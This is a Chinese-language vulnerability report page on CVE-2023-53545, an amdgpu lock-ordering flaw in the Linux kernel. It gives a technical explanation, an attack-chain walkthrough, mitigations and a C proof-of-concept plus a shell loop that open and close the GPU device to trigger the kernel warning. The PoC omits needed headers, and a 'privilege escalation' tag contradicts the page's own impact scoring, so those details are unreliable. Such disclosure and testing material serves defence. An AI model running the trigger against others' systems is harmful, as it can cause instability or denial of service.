IPBUF安全漏洞报告
English
CVE-2023-53545 CVSS 5.5 中危

CVE-2023-53545 Linux内核amdgpu驱动csa_va未正确取消映射漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53545
漏洞类型
资源管理缺陷/锁依赖问题/拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核 (AMD amdgpu GPU驱动)

相关标签

Linux内核amdgpuAMD GPUDRM锁依赖问题拒绝服务本地提权内核漏洞资源管理缺陷CVE-2023-53545

漏洞概述

CVE-2023-53545是Linux内核中AMD amdgpu GPU驱动的一个安全漏洞,于2025年10月4日公开披露。该漏洞位于drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c文件中的amdgpu_vm_bo_del函数中。问题根源在于当驱动尝试取消映射(unmap)并移除csa_va(CSA Virtual Address,命令提交器地址映射)时,没有正确地保留(reserve)根页目录缓冲区对象(Root PD BO),导致Linux内核的锁依赖验证器(lockdep)检测到锁顺序异常并发出警告。

该漏洞的CVSS 3.1评分为5.5分,属于中等严重等级。其攻击向量为本地攻击(AV:L),攻击者需要具有低权限(PR:L),无需用户交互(UI:N)。该漏洞对机密性无影响(C:N),对完整性无影响(I:N),但对可用性影响较高(A:H),可能导致系统不稳定或内核警告。从漏洞描述中的调用栈信息可以看出,该问题在drm_file_free过程中被触发,即当用户关闭GPU文件描述符时,驱动尝试清理csa_va映射,但由于锁顺序不正确,触发了lockdep警告。

此漏洞影响多个Linux内核稳定版本,官方已通过多个commit修复了该问题,包括5daff15cd013422bc6d1efcfe82b586800025384、a3a96bf843c356d1d9b2d7f6d0784b6ee28ca9d0和ae325b245208394279a1dc412c831ebd71befb0d等补丁。

技术细节

该漏洞的技术核心在于amdgpu驱动中的csa_va(Command Submission Address Virtual Address)资源管理不当。在AMD GPU驱动的虚拟内存管理子系统中,每个进程文件私有数据(fpriv)都关联一个csa_va,用于GPU命令提交。当进程关闭文件描述符时,驱动需要清理这些资源。

具体技术问题如下:
1. 在amdgpu_driver_postclose_kms函数中,当进程退出时需要删除bo_va(Buffer Object Virtual Address),包括csa_va对应的bo_va映射。
2. amdgpu_vm_bo_del函数负责从VM中删除bo_va映射,但在执行删除操作前,必须先保留(reserve)根页目录缓冲区对象(Root PD BO)。
3. 原始代码在调用amdgpu_vm_bo_del删除csa_va时,没有先对Root PD BO进行reserve操作,导致锁的获取顺序与VM正常操作时的锁顺序不一致。
4. Linux内核的lockdep(锁依赖验证器)检测到这种异常的锁获取顺序,会输出警告信息。在最坏情况下,可能导致死锁或系统不稳定。

修复方案(v2版本)增加了对fpriv->csa_va是否为NULL的检查,确保在删除csa_va之前正确保留Root PD BO。修复由Christian König提出,确保了锁的正确获取顺序。

利用方式:本地攻击者只需打开AMD GPU设备文件,执行正常的GPU操作(如打开/关闭文件描述符),即可触发该漏洞,导致内核警告输出。在特定条件下,可能引发系统不稳定或拒绝服务状态。

攻击链分析

STEP 1
步骤1
攻击者需要具有本地系统访问权限,并能够访问AMD GPU设备(通常为/dev/dri/renderD128或/dev/dri/card0)。这需要低权限即可,通常普通用户即可访问。
STEP 2
步骤2
攻击者打开AMD GPU的DRM设备文件,建立与GPU驱动的连接。此时驱动会为进程创建文件私有数据(fpriv),并初始化csa_va映射。
STEP 3
步骤3
攻击者关闭设备文件描述符,触发drm_file_free回调,进而调用amdgpu_driver_postclose_kms函数进行资源清理。
STEP 4
步骤4
在资源清理过程中,驱动尝试通过amdgpu_vm_bo_del删除csa_va对应的bo_va映射,但未正确保留Root PD BO,导致锁依赖验证器检测到异常。
STEP 5
步骤5
内核输出lockdep警告信息,在特定条件下可能导致系统不稳定、性能下降或拒绝服务状态。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53545 PoC - Trigger amdgpu csa_va lockdep warning // This PoC triggers the vulnerability by opening and closing the AMD GPU device file // The vulnerability is triggered during drm_file_free -> amdgpu_driver_postclose_kms #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <drm/drm.h> #include <drm/amdgpu_drm.h> int main(int argc, char *argv[]) { int fd; int ret; struct drm_version version; // Step 1: Open the AMD GPU DRM device fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open AMD GPU device"); // Try card device as fallback fd = open("/dev/dri/card0", O_RDWR); if (fd < 0) { perror("Failed to open card device"); return 1; } } printf("Opened AMD GPU device fd=%d\n", fd); // Step 2: Get DRM version to ensure it's an AMD GPU memset(&version, 0, sizeof(version)); version.name_len = 256; version.name = malloc(version.name_len); version.date_len = 256; version.date = malloc(version.date_len); version.desc_len = 256; version.desc = malloc(version.desc_len); ret = ioctl(fd, DRM_IOCTL_VERSION, &version); if (ret == 0) { printf("DRM Driver: %s\n", version.name); printf("DRM Date: %s\n", version.date); printf("DRM Desc: %s\n", version.desc); // Check if this is an AMD GPU if (strstr(version.name, "amdgpu") == NULL && strstr(version.desc, "AMD") == NULL) { printf("Warning: This may not be an AMD GPU\n"); } } free(version.name); free(version.date); free(version.desc); // Step 3: Close the device - this triggers amdgpu_driver_postclose_kms // which will attempt to unmap and remove csa_va without proper locking printf("Closing device to trigger vulnerability...\n"); close(fd); printf("Done. Check dmesg for lockdep warning:\n"); printf("WARNING: CPU: ... at drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c:1762 amdgpu_vm_bo_del\n"); return 0; } // Compilation: gcc -o poc poc.c -I/usr/include/libdrm // Usage: sudo ./poc && dmesg | grep -i "amdgpu_vm_bo_del\|lockdep" // // Alternative trigger: Simply opening and closing the AMD GPU device // multiple times can trigger the vulnerability: // for i in $(seq 1 100); do // python3 -c "import os; fd=os.open('/dev/dri/renderD128', os.O_RDWR); os.close(fd)" // done // dmesg | tail -50

影响范围

Linux kernel < 6.6 (包含amdgpu驱动的所有受影响版本)
Linux kernel 6.6.x 系列(需检查具体补丁版本)
Linux kernel 6.1.x LTS系列
Linux kernel 5.15.x LTS系列
Linux kernel 5.10.x LTS系列

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:1) 限制对/dev/dri设备的普通用户访问权限,仅允许特定用户组访问;2) 监控系统日志,及时发现amdgpu_vm_bo_del相关的lockdep警告;3) 对于服务器环境,可考虑使用没有AMD GPU的系统或禁用amdgpu内核模块;4) 关注Linux发行版发布的安全公告,及时应用安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表